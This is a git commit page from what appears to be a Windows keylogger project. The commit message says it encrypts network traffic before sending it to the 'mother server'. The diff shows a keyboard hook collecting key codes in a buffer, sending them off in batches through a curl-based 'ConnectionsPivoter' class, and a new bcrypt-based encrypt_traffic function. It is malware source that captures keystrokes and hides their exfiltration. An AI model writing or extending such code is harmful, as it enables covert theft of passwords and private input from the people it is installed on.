ConnectionsPivoter: Encrypt network traffic before sending it to the
mother server
This commit is contained in:
parent
8903fa08a3
commit
d81369be0f
3
.gitignore
vendored
3
.gitignore
vendored
|
@ -396,3 +396,6 @@ FodyWeavers.xsd
|
|||
|
||||
# JetBrains Rider
|
||||
*.sln.iml
|
||||
|
||||
# tmp
|
||||
enc_temp_folder
|
|
@ -9,10 +9,11 @@
|
|||
#include <Windows.h>
|
||||
#include <WinUser.h>
|
||||
#include <vector>
|
||||
#include <thread>
|
||||
#include "codes.h"
|
||||
#include "connections_pivoter.h"
|
||||
|
||||
#define DEBUG FALSE
|
||||
#define DEBUG TRUE
|
||||
#define KEYS_LIMIT 100
|
||||
HHOOK keyboard_events_hook;
|
||||
std::vector<std::string> virt_codes;
|
||||
|
@ -22,8 +23,10 @@ void stack_codes() {
|
|||
if (virt_codes.size() < KEYS_LIMIT)
|
||||
return;
|
||||
|
||||
// send the codes to the mother server
|
||||
mother_server_pv.send_codes(virt_codes);
|
||||
bool res = mother_server_pv.send_codes(virt_codes);
|
||||
if (DEBUG && !res)
|
||||
std::cout << "Failed sending message to the mother server" << std::endl;
|
||||
|
||||
virt_codes.clear();
|
||||
}
|
||||
|
||||
|
|
1
base64.h
1
base64.h
|
@ -29,7 +29,6 @@
|
|||
|
||||
class Base64 {
|
||||
public:
|
||||
|
||||
static std::string encode(const std::string data) {
|
||||
static constexpr char s_encoding_table[] = {
|
||||
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -7,6 +7,7 @@
|
|||
#include <string>
|
||||
#include <vector>
|
||||
#include <Windows.h>
|
||||
#include <bcrypt.h>
|
||||
#include <curl/curl.h>
|
||||
|
||||
#pragma comment (lib, "Normaliz.lib")
|
||||
|
@ -37,6 +38,13 @@ public:
|
|||
/// <param name='codes:'>vector of key codes</param>
|
||||
/// <returns>TRUE if successful</returns>
|
||||
BOOL send_codes(std::vector<std::string> codes);
|
||||
|
||||
/// <summary>
|
||||
/// Encrypt the given data
|
||||
/// </summary>
|
||||
/// <param name='data:'>Data to encrypt</param>
|
||||
/// <returns>Encrypted data</returns>
|
||||
PBYTE encrypt_traffic(std::string data, size_t *output_length);
|
||||
private:
|
||||
|
||||
};
|
||||
|
|
Loading…
Reference in New Issue
Block a user